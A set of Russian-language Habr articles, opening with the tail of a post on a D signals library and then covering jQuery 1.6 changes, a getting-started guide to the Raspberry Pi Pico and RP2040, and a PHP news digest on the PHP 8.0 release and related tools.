теряет информацию о классе, который содержит сигнал. Я не нашёл способа по указателю функции (sig.funcptr) вывести её имя, да и происходило бы это уже в runtime, а имя сигнального объекта как-то нужно было бы сконструировать, а возвращать из словаря (SignalConnector[string]) не очень выглядело бы. По этому реализовано так как реализовано =)
Код примера доступен на [github](https://github.com/deviator/xobj) и как пакет [dub](http://code.dlang.org/packages/xobj). | https://habr.com/ru/post/261641/ | null | ru | null |
# Нововведения в jQuery 1.6
Совсем недавно (3 мая) был зарелизен jQuery 1.6 и вот что нового появилось в этой js-библиотеке давайте и посмотрим.
Самое «веселое» то, что в новом релизе есть важные изменения, которые несовместимы с предыдущими версиями jQuery. И в результате при переходе на новую версию, вполне возможно, что придётся просматривать и изменять уже существующий код.
### Критические изменения
Ниже описаны как раз те изменения, которые могут обрушить код для старых версий.
##### Доступ к данным в data-атрибутах
Теперь доступ к значениям в этих атрибутах соответствует спецификации [W3C HTML5 spec](http://www.w3.org/TR/html5/elements.html#embedding-custom-non-visible-data-with-the-data-attributes), т.е. ключи надо передавать в camel-case формате.
```
```
Для jQuery 1.5 писали так:
```
var tv = $('#div1').data('test-value'); // => 123
// или так
var d = $('#div1').data(); // => { "test-value": 123 }
tv = d['test-value']; // => 123
```
Теперь для jQuery 1.6 **надо** писать так:
```
var tv = $('#div1').data('testValue'); // => 123
// или так
var d = $('#div1').data(); // => { "testValue": 123 }
tv = d.testValue; // => 123
```
##### .prop(), .removeProp() и .attr()
Также теперь отделены свойства элементов от их атрибутов. Для доступа к атрибутам остался метод .attr(), а для доступа к свойствам элемента, которые могут меняться динамически (значения атрибутов при этом не меняются), теперь **нужно** делать через .prop(). Самым простым примером может быть поведение : в 1.5 вызов `.attr('checked')` возвращал true/false в зависимости от установки флага, в версии же 1.6 `.attr('checked')` вернёт строковое значение, записанное в атрибут, или `undefined`, если атрибут отсутствует, а состояние флага нужно получать через `.prop('checked')`.
Поиграться с примерами можно тут: на 1.5 [jsfiddle.net/dV27a/1](http://jsfiddle.net/dV27a/1/), на 1.6 [jsfiddle.net/9zEC9/1](http://jsfiddle.net/9zEC9/1/)
***.removeProp() следует использовать с особой осторожностью, т.к. чревато глюками в некоторых браузерах.***
> Во втором примере можно наблюдать глюк в Google Chrome, и это глюк именно браузера — воспроизводится и без jQuery. Глюк в следующем: если у элемента через его js-объектную модель устанавливать свойство checked — то флаг изначально меняется, но если удалить это свойство так `delete cb.checked`, то после этого изменение свойства не приводит к изменению состояния флага.
В связи с описанным выше, появились некоторые изменения для булевых атрибутов (таких как checked, selected и подобных), теперь `.attr('checked', true/false)` добавляет или удаляет указанный атрибут (а мы помним, что теперь эта функция работает именно с атрибутом, а не со свойством объекта).
### Некритические изменения
#### Расширяемость .attr() и .val()
В новой версии была добавлена возможность влиять на работу функций `.attr()` через объект `jQuery.attrHooks` и на функцию `.val()` через объект `jQuery.valHooks`. Например:
```
jQuery.attrHooks.selected = {
set: function( elem, value ) {
if ( value === false ) {
jQuery.removeAttr(elem, “selected”);
return value;
}
}
};
```
#### jQuery.map(Object)
Теперь функция jQuery.map() может принимать первым аргументом не только массив, но и объект, однако возвращать будет массив значений в любом случае.
```
$.map({ f: 1, s: 2 }, function(v, k) { return ++v; }); // => [ 2, 3 ]
```
#### Зависимое изменение CSS
Разработчики добавили возможность изменения css-свойств элементов функцией `.css()` в зависимости от их значения с помощью инструкций "+=" и "-=", как это сделано в `.animate()`.
```
$("#item").css("left", "+=10px");
```
#### Deferred-объекты
Были внесены улучшения и в deferred-объекты, которые добавлены в 1.5 (тем, кто про них ещё не знает, советую почитать [jQuery Deferred Object (подробное описание)](http://habrahabr.ru/blogs/jquery/113073/))
##### deferred.always()
Когда нужно, чтобы некоторый обработчик вызывался при любом исходе раньше приходилось писать `deferred.then(handler, handler)`, а теперь можно написать `deferred.always(handler)`
##### deferred.pipe()
Это новый метод и решает сразу несколько проблем, во-первых с помощью него можно создавать фильтры значений, передаваемых в обработчики параметрами, во-вторых можно строить цепочки из отложенных-заданий (например, асинхронных запросов — эта тема поднималась в комментариях к моей предыдущей статье и вот разработчики предоставили решение этой проблемы).
Пример фильтра (для deferred.reject — аналогично), во второй обработчик первым и единственным параметром попадает значение, которое вернёт первый обработчик.
```
var defer = $.Deferred(),
filtered = defer.pipe(function( value ) {
return value * 2;
});
defer.resolve( 5 );
filtered.done(function( value ) {
alert( "Value is ( 2*5 = ) 10: " + value ); // value = 10
});
```
Запустить: [jsfiddle.net/txzPj](http://jsfiddle.net/txzPj/)
Пример цепочки асинхронных запросов, во второй обработчик будут переданы параметры, с которыми будет завершен второй deferred-объект.
```
var request = $.ajax( '/echo/json/', { dataType: "json", type: 'post', data: { json: '{ "test": 8 }' }, delay: 3 } ),
chained = request.pipe(function( data ) {
console.log(data);
alert('first response');
return $.ajax( '/echo/json/', { type: 'post', data: { delay: 3, json: '' + data.test } } );
});
chained.done(function( data ) {
console.log(data);
alert('second response');
});
```
Запустить: [jsfiddle.net/5gfS8](http://jsfiddle.net/5gfS8/)
#### Анимация
Кроме улучшения в самом процессе анимирования, в версии 1.6 можно использовать deferred-объекты, завязанные на анимацию. Нет, метод .animate() (и его сокращения .fadeOut(), slideUp() и пр.) не стали возвращать deferred, вместо этого появилась возможность использовать любой jquery-объект в качестве параметра функции $.when(), и если среди выбранных элементов есть какие-то с анимацией, то полученный deferred-объект будет завершён после завершения всей анимации.
```
$(".elements").fadeOut();
$.when($(".elements")).done(function(elements) {
// здесь для всех ".elements" анимация завершена
});
```
#### jQuery.holdReady()
Этот метод позволяет приостановить выполнение обработчиков события ready, использоваться он будет преимущественно разработчиками плагинов (по крайней мере, так планируют авторы jQuery).
```
jQuery.holdReady( true ); // приостановили выполнение обработчиков
// запустили какой-то код, например асинхронный запрос
// и когда наш асинхронный запрос выполнился, можем разрешить выполнение остальных обработчиков
jQuery.holdReady( false );
```
#### Селектор ":focus"
Теперь стало совсем просто найти в документе элемент, на котором установлен фокус.
#### Дополнительные возможности в функциях обхода DOM
В новой версии добавили возможность передавать аргументом в функции `.find()`, `.closest()` и `.is()` ещё и jquery-объекты, наконец-то…
---
Текст этой статьи — это вольный пересказ [blog.jquery.com/2011/05/03/jquery-16-released](http://blog.jquery.com/2011/05/03/jquery-16-released/) (не перевод, хотя и очень близко к тексту). | https://habr.com/ru/post/118713/ | null | ru | null |
# Raspberry Pi Pico на МК RP2040: начало и первые шаги. Что есть поесть за $4
Начало
------
Raspberry Pi Foundation всегда знает чем порадовать или удивить нас, а так же как подталкивать других производителей на интересные шаги и решения для хорошей конкуренции.
В четверг (рыбный день, кстати) 21-ого января 2021 года был анонсирован выпуск нового микроконтроллера RP2040 и небольшой платы с его применением, которая получила название Raspberry Pi Pico.
Честно говоря, я прочитал эту новость и не планировал ничего делать по этому поводу. Но потом случайно заметил несколько особенностей этого микроконтроллера, что разбудило любопытство во мне и подтолкнуло к покупке пары плат для дальнейших экспериментов. Очень привлекло наличие PIO блоков и множество PWM. Справедливости ради, PWM можно как-то решить, а вот с PIO есть смысл поиграться.
После пары дней занимательной возни я решил поделиться своим небольшим опытом с Хабром и его гостями.
К сожалению, с PIO я недостаточно освоился и поэтому возможности PIO выходят за рамки этой статьи. Но если будет очень интересно сообществу, то возможно продолжение после того, как будет чем поделиться.
Введение
--------
Raspberry Pi Pico является платой с микроконтроллером RP2040.
Надо помнить, что это не компьютер, на котором запущена взрослая ОС типа Linux, а именно микроконтроллер и поэтому цели применения у Pico отличаются от той же Raspberry Pi Zero и других старших продуктов семейства Raspberry Pi.
Приведу часть технических характеристик:
* Два ядра Arm Cortex-M0+ @ 133 МГц
* 264 КБ памяти (284 КБ если отключить XIP кеширование и использовать память USB)
* 2 МБ флеш-память с XIP кешированием. В RP2040 нет встроенной флеш-памяти, поэтому чип распаян на плате. У RP2040 есть поддержка до 16 МБ внешней флеш-памяти
* DMA контроллер
* 4 x 12-разрядных аналоговых входа (на Pico доступно для пользователя 3 из них)
* 2 × UART
* 2 × SPI
* 2 × I2C
* 16 × PWM каналов
* Встроенный сенсор температуры
* Всего 30 GPIO пинов (3,3 вольта)
* MicroUSB B порт с USB 1.1 контроллером и поддержкой хоста
* 2 × PIO блока для своих собственных интерфейсов
* 2 x PLL (один для USB, второй для остального)
* Поддержка UF2 для загрузки бинарников
* Поддержка SWD для загрузки и отладки
* Поддержка спящих режимов и пониженной частоты для снижения потребления
RP2040 декодируется как:
RP: Raspberry Pi
2: два ядра
0: ядра M0+
4: минимум 256 КБ памяти
0: нет встроенной флеш-памяти
PIO блоки дают возможность создавать свои интерфейсы. Например, можно запрограммировать интерфейс WS2812, добавить I2S, SDIO или VGA и т.п.
Ещё одна интересная штука: ядро Cortex-M0+ не содержит в себе блока вычислений с плавающей запятой. Обычно это эмулируется библиотеками GCC, но тут Raspberry Pi использует более быстрое оптимизированное решение от автора Qfplib, которое лицензировано для использования на RP2040.
[Более подробный datasheet на плату Pico](https://datasheets.raspberrypi.org/pico/pico_datasheet.pdf)
[Тут можно найти datasheet на сам RP2040](https://datasheets.raspberrypi.org/rp2040/rp2040_datasheet.pdf)
Плата
-----
Немного о самой плате Raspberry Pi Pico.
Плата имеет удобный размер 21мм x 51мм. Есть даже отверстия для монтирования, чем может похвастаться не каждая похожая плата.
Можно припаять пины для использования с макеткой или запаять весь модуль поверхностным монтажом на другую плату.
На Pico стоит понижающий преобразователь на 3,3 Вольта. И это не просто линейный преобразователь, которые часто встречаются на недорогих аналогичных платах, а buck-boost SMPS на Richtek RT6150B. Благодаря этому входное питание платы может быть в пределах 1,8 — 5,5 Вольт.
Флеш-память W25Q16JV, хоть, и стоит внешняя, но перепаивать её будет не такой уж и тривиальной задачей, так как чип в корпусе USON-8 (мне лично точно не под силу).
Есть кнопка BOOTSEL и светодиод на GPIO25. Так же выведен SWD для отладки.
Кстати, можно использовать вторую плату Pico как отладчик по SWD.
Входы-выходы
------------
На Raspberry Pi Pico выведено почти все входные-выходные пины (26 из 30). Официальная распиновка платы:
Некоторые пины задействованы для внутреннего применения:
GPIO23: выход для контроля энергосбережения SMPS. Можно регулировать пульсации за счёт изменения КПД преобразователя
GPIO24: вход для VBUS sense (1 если VBUS по MicroUSB подключен)
GPIO25: выход на светодиод, расположенный на плате
GPIO29: аналоговый вход для измерения VSYS/3
Сам USB порт дополнительно выведен на точки TP1, TP2 и TP3 внизу платы.
Разработка
----------
На данный момент официально предлагаются следующие варианты для разработки под RP2040:
* C/C++ с использованием предлагаемого Pico SDK
* CircuitPython для Pico
* MicroPython для Pico
Варианты на Python'е имеют много своих ограничений, по большей части которые связаны с ограничением памяти микроконтроллера, но для многих быстрых прототипов на коленке этого должно хватить.
Попробую вкратце пройтись по каждому из этих подходов.
Постараюсь не особо заострять внимание на установку и конфигурацию для каждого способа, так как каждый из них потянет на отдельную статью. Вместо этого расскажу некоторые особенности и приведу примеры кода для них.
RP2040 имеет встроенный загрузчик, который поддерживает UF2 ([разработка Microsoft](https://github.com/microsoft/uf2)) для загрузки бинарников. Это представляет из себя внешний USB накопитель, на который можно просто скопировать бинарник.
Когда я купил плату в магазине, то во флеш-памяти ничего не было и UF2 активировался автоматически при подключении по USB. Когда программа записана на флеш-памяти, то UF2 режим можно активировать удерживанием кнопки BOOTSEL при подачи питания по USB. Появится накопитель «RPI-RP2», который можно использовать для копирования бинарных файлов uf2.
Для отладки можно использовать SWD. Если нет подходящего отладчика, то можно использовать ещё одну плату Pico с прошитым отладчиком.
Как более простой вариант Pico может выводить данные стандартного вывода на UART или прикидываться USB CDC и выводить в обычный терминал типа PuTTY, minicom или аналогичный с параметрами по-умолчанию 115200 8n1.
C/C++ с Pico SDK
----------------
Пожалуй, этот подход получит максимальное использования «железа» на данный момент.
Raspberry Pi опубликовали неплохую документация на данную тему, с которой можно [ознакомиться тут](https://datasheets.raspberrypi.org/pico/getting_started_with_pico.pdf).
В своё время для ESP8266 мне пришлось пройти достаточно длинный квест для установки и настройки SDK. Но первоначальная установка окружения для RP2040 мне показалась намного более простой и удобной.
В оригинальном документе достаточно подробно описаны шаги для установки SDK на Linux, macOS и Windows.
Вариант с разработкой на Raspberry Pi 4B или 400 с Linux будет самым простым, так как есть скрипты, которые сделают первоначальную конфигурацию (даже установку Visual Studio Code):
```
git clone https://github.com/raspberrypi/pico-setup.git
pico-setup/pico_setup.sh
```
У меня все Raspberry Pi 4 оказались в каких-то своих тёмных делах, да и как-то привычнее разрабатывать на более удобных компах. По этой причине был выбран путь установки окружения вручную. Тем более, это оказалось не таким уж и сложным.
Весь процесс начальной подготовки сводится к следующим шагам (в данном случае шаги выполнялись на macOS и Linux):
```
# Создать общую директорию для всего:
mkdir pico && cd pico
# Забрать Pico SDK:
git clone --recursive https://github.com/raspberrypi/pico-sdk.git
# Забрать примеры:
git clone https://github.com/raspberrypi/pico-examples.git
# Linux: установить необходимые инструменты для сборки через "apt":
apt update && apt install cmake gcc-arm-none-eabi build-essential
# OSX: установить инструменты используя "brew" (список может немного меняться в зависимости от текущих установленных пакетов):
# (gcc-arm-embedded будет установлен в /usr/local/bin. Эта информация нужна будет при конфигурировании Visual Studio Code)
brew install cmake gcc-arm-embedded
# Настроить переменную PICO_SDK_PATH (можно занести значение во что-то типа .profile по вкусу):
export PICO_SDK_PATH=`pwd`/pico-sdk
```
Пример кода для мигания светодиодом с использованием Pico SDK:
```
#include "pico/stdlib.h"
int main() {
// Конфигурация пина со светодиодом
const uint LED_PIN = 25;
gpio_init(LED_PIN);
gpio_set_dir(LED_PIN, GPIO_OUT);
// Наш рабочий бесконечный цикл
while (true) {
// Переключить светодиод
gpio_put(LED_PIN, 1);
sleep_ms(250);
gpio_put(LED_PIN, 0);
sleep_ms(250);
}
}
```
Можно попробовать собрать эту мигалку из примеров:
```
cd pico-examples
mkdir build
cd build
cmake ..
cd blink
make -j8
```
Если всё прошло без ошибок, то в результате мы получим файлы, среди которых будет blink.uf2. Этот файл можно скопировать на Pico в режиме UF2 (надо удерживать кнопку BOOTSEL во время подачи питания по USB).
После копирования Pico автоматически перезагрузится и можно наслаждаться «hello world» на микроконтроллере.
В «pico-examples» есть достаточно много интересных примеров. В том числе и примеры с использованием PIO. Выглядит очень интересно. Возможно, расскажу об этом потом, но надо самому разобраться для начала.
Для создания начального шаблона для своего проекта есть [инструмент от Raspberry Pi](https://github.com/raspberrypi/pico-project-generator).
Он создаёт шаблоны под Pico SDK, Visual Studio и добавляет поддержку разных библиотек на разную периферию.
CircuitPython
-------------
Я много слышал про MicroPython и CircuitPython, но никогда не сталкивался. А тут появилась хорошая возможность пощупать.
CircuitPython является форком MicroPython, но со своими плюшками. Пожалуй, самая заметная плюшка в том, что CircuitPython создаёт USB флешку со своей файловой системой, где можно напрямую редактировать скрипты на Python'е в своём любимом IDE. При любой записи изменённого скрипта происходит автоматический перезапуск платы и выполнение кода.
В терминале можно видеть результат или запустить интерактивный режим для выполнения команд в нём, что тоже помогает в отладке.
Установка CircuitPython достаточно проста:
1. Скачать файл UF2 файл с CircuitPython'ом на [circuitpython.org/board/raspberry\_pi\_pico](https://circuitpython.org/board/raspberry_pi_pico/)
2. Перевести Pico в режим UF2 удержанием BOOTSEL во время подачи питания USB
3. Скопировать файл из #1 на флешку RPI-RP2, после чего Pico перезапустится автоматически
После этого из системы уйдёт RPI-RP2 и вместо него появится новый накопитель CIRCUITPY. На этом новом накопители должен быть файл code.py, с которого начинается выполнение кода. Так же там будет пустая директория «lib», куда можно добавлять сторонние и свои библиотеки.
Файл code.py можно изменять прямо на этом накопителе в своём любимом редакторе. Adafruit советует использовать свой MU Editor, но у меня он зависает при запуске. Наверно, это даже к лучшему, так как я всё равно пользовался бы чем-то другим.
Так же доступна консоль на последовательном порту с параметрами 115200 8n1. При подключении можно получить доступ к интерактивному Python'у и выводу в консоль через «print» в скриптах.
Наша мигалка на CircuitPyhon будет выглядеть примерно так:
```
import board
import time
from digitalio import DigitalInOut, Direction
# Конфигурация пина со светодиодом
led = DigitalInOut(board.LED)
led.direction = Direction.OUTPUT
# Наш рабочий бесконечный цикл
while True:
# Переключить светодиод
led.value = not led.value
time.sleep(1)
```
Adafruit предлагает достаточно большой набор библиотек для работы с разным оборудованием.
Можно скачать .zip архив со всеми официальными доступными библиотеками для CircuitPython на [circuitpython.org/libraries](https://circuitpython.org/libraries)
Рекомендуется забирать .mpy версию. Это готовый байт-код, который откомпилирован под нужную версию CircuitPython.
MicroPython
-----------
MicroPython и CircuitPython достаточно близки друг к другу, но с некоторыми особенностями для отладки и API.
Установка MicroPython тоже достаточно проста:
1. Скачиваем UF2 со свежим [релизом тут](https://www.raspberrypi.org/documentation/pico/getting-started/) (вкладка «Getting started with MicroPython»)
2. Переводим Pico в режим UF2 удерживанием BOOTSEL во время подачи питания USB
3. Копируем .uf2 файл из первого шага на RPI-RP2
На этот раз RPI-RP2 уходит, но новый накопитель не появляется. Можно подключиться терминалом на только что появившийся порт (115200 8n1), по которому будет доступна интерактивная консоль Python'а.
Для работы с кодом предполагается использование Thonny (возможно, есть и другие варианты). Это минималистичный IDE, который может редактировать код напрямую на плате микроконтроллера.
[Скачать Thonny можно тут](https://thonny.org/)
После установки Thonny в настройках надо подключить Pico. Это сделать можно через меню Tools — Options, потом в закладке «Interpreter» выбрать «MicroPython (Raspberry Pi Pico)» в поле «Which interpreter or device», а в поле «Port» выбрать порт, на котором подключена плата Pico.
Настройку лучше выполнять при подключенной Pico, что бы Thonny мог найти нужный порт.
Пример для мигания на MicroPython:
```
import time
from machine import Pin
# Конфигурация пина со светодиодом
led = Pin(25, Pin.OUT)
led.value(0)
# Наш рабочий бесконечный цикл
while True:
# Переключить светодиод
led.toggle()
time.sleep(1)
```
Выводы (на этот раз не контроллера)
-----------------------------------
На мой взгляд для такого свежего и нового микроконтроллера уже есть достаточно инструментов для начала экспериментов.
Уверен, что фанатам Arduino не придётся долго ждать когда Pico будет портирован на их любимую платформу. Зато пока есть хороший повод поиграться с Python'ом.
PIO выглядит очень интересной фишкой и я надеюсь заняться этим плотнее по мере появления свободного времени.
Ещё недавно я наткнулся на [TensorFlow Lite Micro](https://github.com/raspberrypi/pico-tflmicro) для Pico для запуска моделей машинного обучения.
В целом, я очень рад за новый продукт в линейке Raspberry Pi и надеюсь, что ему предстоит много приятных приключений и открытий в нашем мире.
Некоторые компании уже объявили о выходе своих плат на этом микроконтроллере (в том числе и с беспроводным интерфейсом), что должно дать больше возможностей. | https://habr.com/ru/post/538994/ | null | ru | null |
# PHP-Дайджест № 193 (16 – 30 ноября 2020)
[](https://habr.com/ru/post/530562/)
Парад релизов: обновление языка — PHP 8.0, а также Xdebug 3, DBAL 3.0, Bref 1.0, Symfony 5.2, Flysystem 2.0. Первый принятый RFC для PHP 8.1, долгосрочная поддержка PHPUnit, порция полезных инструментов, подкасты, стримы, статьи.
Приятного чтения!
* **[PHP 8.0.0](https://www.php.net/releases/8.0/ru.php?lang=ru)** — Долгожданный релиз языка доставлен строго по расписанию. Спасибо всем контрибьюторам и релиз-менеджерам [Gabriel Caruso](https://twitter.com/carusogabriel) и [Sara Golemon](https://phpc.social/@pollita)!
*Облако контрибьюторов PHP 8 от [php.watch](https://php.watch/articles/php80-posters)*
 Наиболее заметные изменения:
• [Именованные аргументы](https://www.php.net/releases/8.0/ru.php?lang=ru#named-arguments)
• [Атрибуты](https://www.php.net/releases/8.0/ru.php?lang=ru#attributes)
• [Объединенные типы](https://www.php.net/manual/ru/language.types.declarations.php#language.types.declarations.union)
• [Объявление свойств в конструкторе](https://www.php.net/manual/ru/language.oop5.decon.php#language.oop5.decon.constructor.promotion)
• [Выражение match](https://www.php.net/manual/ru/control-structures.match.php)
• [Оператор nullsafe](https://www.php.net/releases/8.0/ru.php?lang=ru#nullsafe-operator)
• [Улучшенное сравнение строк и чисел](https://www.php.net/releases/8.0/ru.php?lang=ru#saner-string-to-number-comparisons)
• [Ошибки согласованности типов для встроенных функций](https://www.php.net/releases/8.0/ru.php?lang=ru#consistent-type-errors-for-internal-functions)
• [JIT](https://www.php.net/releases/8.0/en.php#:~:text=Just-In-Time%20compilation)
Максимально полный список изменений есть в документе [php-src/UPGRADING](https://github.com/php/php-src/blob/PHP-8.0/UPGRADING)
Документация по большинству изменений [еще в процессе](https://github.com/php/php-tasks/issues/26). Присоединиться к ее дополнению можно отправляя пул-реквесты в репозиторий [php/doc-en](https://github.com/php/doc-en).
А пока можно посмотреть обзоры релиза:
+ php.watch: [PHP 8.0: What's New and Changed](https://php.watch/versions/8.0)
+ stitcher.io: [What's new in PHP 8](https://stitcher.io/blog/new-in-php-8)
+ stitcher.io: [PHP 8: before and after](https://stitcher.io/blog/php-8-before-and-after)
+ [PHP 8 — try out all new features](https://pociot.dev/32-php-8-try-out-all-new-features) — Обзор изменений с интерактивными демо от Marcel Pociot.  [Перевод](https://habr.com/ru/company/mailru/blog/525614/).
+ [Использование PHP 8 в PhpStorm 2020.3](https://blog.jetbrains.com/phpstorm/2020/10/phpstorm-2020-3-early-access-program-is-now-open/), который выйдет на этой неделе.
+  [PHP 8 — Что нового?](https://habr.com/ru/post/526220/)
** Видео**
+  [Обзор от Валентина Удальцова](https://youtu.be/QSszmWIrRyw?t=1745).
+ [Laracasts: PHP 8 Crash Course](https://laracasts.com/series/php8-crash-course) — Шикарный курс по PHP 8 от [Jeffrey Way](https://twitter.com/jeffrey_way).
+ [Серия видеороликов по всем новым фичам](https://www.youtube.com/playlist?list=PLjzBMxW2XGTwEwWumYBaFHy1z4W32TcjU) от Spatie.
+ [Видеокурс по новым фичам](https://beyondco.de/course/whats-new-in-php-8/new-features/union-types) от Marcel Pociot и BeyondCode.
> С выходом 8.0 [закончился](https://www.php.net/supported-versions.php) период поддержки PHP 7.2, а PHP 7.3 перешел в режим только секьюрити фиксов. Вот инструкция [как установить PHP 8.0](https://www.colinodell.com/blog/202011/how-install-php-80) на Ubuntu, Debian, CentOS, macOS и в Docker.
### Новости и релизы
* **[Xdebug 3](https://xdebug.org/announcements/2020-11-25)** — Большое обновление популярного отладчика. Теперь он быстрее в работе и значительно проще в конфигурации.
Для старта достаточно одной опции [xdebug.mode](https://xdebug.org/docs/all_settings#mode), а дефолтный порт сменен на 9003, чтоб не было конфликта с PHP-FPM. Подробнее в [руководстве по обновлению](https://xdebug.org/docs/upgrade_guide).
Сравнительные [бенчмарки Xdebug 2 и Xdebug 3](https://php.watch/articles/xdebug2-vs-3-benchmark) показывают значительный прирост производительности. Для сбора покрытия он даже быстрее, чем phpdbg, хоть и медленнее PCOV.
* **[Bref 1.0](https://bref.sh/docs/news/01-bref-1.0.html)** — Релиз инструмента, который облегчает создание serverless-приложений на PHP и AWS Lambda. Кстати, теперь с поддержкой WebSocket — удержание соединения берет на себя API Gateway.
* **[doctrine/dbal 3.0](https://github.com/doctrine/dbal/releases/tag/3.0.0)** — После 10 лет с выхода DBAL 2.0 наконец-то мажорное обновление популярной библиотеки для работы с базами данных. Короткий обзор есть в [анонсе релиза](https://www.doctrine-project.org/2020/11/17/dbal-3.0.0.html). Главные изменения касаются отвязки DBAL от PDO. Все fetch-методы перенесены из класса `Statement` в новый `Result`.
* **[thephpleague/flysystem 2.0](https://github.com/thephpleague/flysystem)** — Обновление библиотеки, абстрагирующей работу с файловыми системами. [Что нового в версии 2.](https://flysystem.thephpleague.com/v2/docs/what-is-new/)
* [PHP 7.4.13](https://www.php.net/ChangeLog-7.php#7.4.13)
* [PHP 7.3.25](https://www.php.net/ChangeLog-7.php#7.3.25)
*  В твиттере продолжились споры о том, стоит ли поддерживать старые версии PHP в опенсорс инструментах. Никита написал, что инструменты, в которых минимальная версия PHP повышается слишком резко, в действительности приносят больше проблем на пути к обновлению PHP. .
Ранее эта же проблема обсуждалась, когда Марко Ocramius бампнул версию в своем пакете [Ocramius/PackageVersions](https://github.com/Ocramius/PackageVersions) до 7.4 (уже и до 8.0). В результате чего в Composer 2 пакет заменили на форк [composer/package-versions-deprecated](https://github.com/composer/package-versions-deprecated).
Так или иначе, а PHPUnit 9 и PHPUnit 8.5 [получат Life Support](https://github.com/sebastianbergmann/phpunit/issues/4533). Это значит, что в них будет гарантирована работа на PHP 7.3 (7.2 соответственно) и всех последующих версиях PHP.
### PHP Internals
*  **[[RFC] Explicit octal integer literal notation](https://wiki.php.net/rfc/explicit_octal_notation)** — Не успели выпустить PHP 8.0, а уже принят первый RFC для PHP 8.1! В следующей версии языка восьмеричные числа можно будет записывать с префиксом `0o`.
```
0o16 === 14; // true
016 === 0o16; // true
```
### Инструменты
* [phpsandbox.io](https://phpsandbox.io/create) — Аналог codepen/jsfiddle только для PHP. Веб-сайт для быстрого тестирования и демонстрации кода. Кроме голого PHP можно сделать код на Laravel, ReactPHP или импортировать любой проект с Гитхаба.
* [beyondcode/httpdump](https://github.com/beyondcode/httpdump) — Приложение на Laravel для отладки входящих HTTP-запросов (отладка веб-хуков и т.п.). Создает случайные URL и дампит в красивом виде все запросы к ним. Демо [httpdump.app](https://httpdump.app/).
* [clue/php-socket-raw](https://github.com/clue/php-socket-raw) — Легковесная ООП-обертка для низкоуровневого расширения сокетов PHP (ext-sockets).
* [zenstruck/foundry](https://github.com/zenstruck/foundry) — Фабрика для создания удобных фикстур с автодополнением в IDE для Symfony и Doctrine.
* [spatie/backtrace](https://github.com/spatie/backtrace) — Обертка над `debug_backtrace()` для удобной работы со стеком вызовов.
* [nette/tracy](https://github.com/nette/tracy) — Инструмент для отладки: дебагбар, красивые ексепшены, логирование, профилирование, все в одном.
* [JetBrains/phpstorm-attributes](https://github.com/JetBrains/phpstorm-attributes) — В PhpStorm 2020.3 будут из коробки доступны несколько атрибутов PHP 8. Теперь они вынесены в отдельный пакет.
### Symfony
* [Symfony 5.2](https://symfony.com/blog/symfony-5-2-0-released) — [Список](https://symfony.com/blog/symfony-5-2-curated-new-features) новых возможностей.
* [Бенчмарки Symfony 5.2 на PHP 8.0 и 7.4](https://developers.ibexa.co/blog/benchmarks-php-7.4-8.0-jit-opcache-preloading-symfony).
* [Неделя Symfony #726 (23-29 ноября 2020)](https://symfony.com/blog/a-week-of-symfony-726-23-29-november-2020)
### Laravel
* [Защита от спама в Laravel приложениях](https://laracasts.com/blog/the-6-stages-of-spam)
* [Как отправлять уведомления в Laravel](https://christoph-rumpel.com/2020/11/laravel-real-time-notifications) с помощью пакетов [beyondcode/laravel-websockets](https://github.com/beyondcode/laravel-websockets) и [laravel/echo](https://github.com/laravel/echo).
*  [Laravel Internals #1: 18 Nov, 2020](https://www.youtube.com/watch?v=B57vddRZPC8) — Стрим с [Nuno Maduro](https://twitter.com/enunomaduro) и [James Brooks](https://twitter.com/jbrooksuk), участниками команды Laravel, о новостях в разработке фреймворка и инструментов экосистемы
*  [Laravel–Дайджест (9–22 ноября 2020)](https://habr.com/ru/post/529268/)
### Разное
*  [Front Line PHP](https://front-line-php.com/) — Книга про разработку на современном PHP от Brent Roose и Freek Van der Herten. В [канале было](https://t.me/phpdigest/195) как получить дополнительную скидку.
* [Памятка по фишкам синтаксиса PHP 7.4 и 8](https://front-line-php.com/cheat-sheet)
* [Brent Roose пишет о том, как вести блог разработчику](https://stitcher.io/blogs-for-devs/01-intro) — Он стартовал свой stitcher.io s 2017 и сейчас блог посещает больше 1.5 млн пользователей в неделю.
* [PHP Tools — назад в 90е](https://balint-juhasz.medium.com/revive-php-tools-a-journey-to-the-90s-9cb51ef77d6d) — Запускаем и анализируем PHP 1.0.
* [Как безопасно реализовать восстановление пароля на PHP](https://nicolasfar.medium.com/how-to-implement-password-recovery-securely-in-php-db2275ab3560).
* [PHP 7.4 FFI: Что вам нужно знать](https://jolicode.com/blog/php-7-4-ffi-what-you-need-to-know)
*  [API для QA: тестируем фичи без доступа к коду](https://habr.com/ru/company/badoo/blog/528742/)
*  [Ускоряем и стабилизируем автотесты на codeception + selenium](https://habr.com/ru/post/525984/)
*  [Финальные классы в PHP, Java и других языках](https://habr.com/ru/company/funcorp/blog/529378/)
*  [Сейчас я буду убеждать вас использовать статический анализ в PHP](https://habr.com/ru/company/skyeng/blog/529350/) — Расшифровка подкаста [Между Скобок № 11](https://soundcloud.com/between-braces/11-valentin-udaltsov-staticheskiy-analiz).
### Аудио/Видео
*  [PHP 8: что нового, туда ли двигается, что будет дальше](https://www.youtube.com/watch?v=QSszmWIrRyw&t=33s) — Стрим с обзором PHP 8 от Валентина Удальцова ([Пых](https://t.me/phpyh)), и ответами на вопросы от Никиты Попова и Дмитрия Стогова, [двух топовых](https://github.com/php/php-src/graphs/contributors?from=2016-01-07&to=2020-11-23&type=c) разработчиков PHP 8.
*  [Публичное собеседование: PHP-разработчик [Хекслет]](https://www.youtube.com/watch?v=7sT-4_R4prA) — Пока мы с Валентином ~~прокрастинируем~~ готовим открытое собеседование на [PHP Point](https://www.youtube.com/c/PHPPoint/videos), можно посмотреть альтернативу от Хекслета.
*  [Подкаст Remote Talk](https://soundcloud.com/csssr/sergey-zhuk-bryansk-php-i-plokho-li-na-nyom-pisat-knigi-v-it-podkast-mezhdu-skobok) — В гостях Сергей Жук: про PHP, плохо ли на нём писать, книги в IT, подкаст «Между скобок».
*  Видеозаписи с прошедших митапов:
+ [Запись с митапа PHP NN #3](https://www.youtube.com/watch?v=pe3b0DHVnq8) – Опыт перехода с MySQL на Postgres на реальном проекте, советы по написанию кода и жизни после 30.
+ [Доклады от краснодарского PHP-сообщества](https://www.youtube.com/watch?v=Uezd5ocJQ9I): легаси, автотесты и работа с реляционныи БД.
+ [Как устроен деплой в Лайфхакере (Александр Нагорнов, Lifehacker.ru)](https://www.youtube.com/watch?v=onSdhzcGzsU) – Опыт перехода на автодеплой.
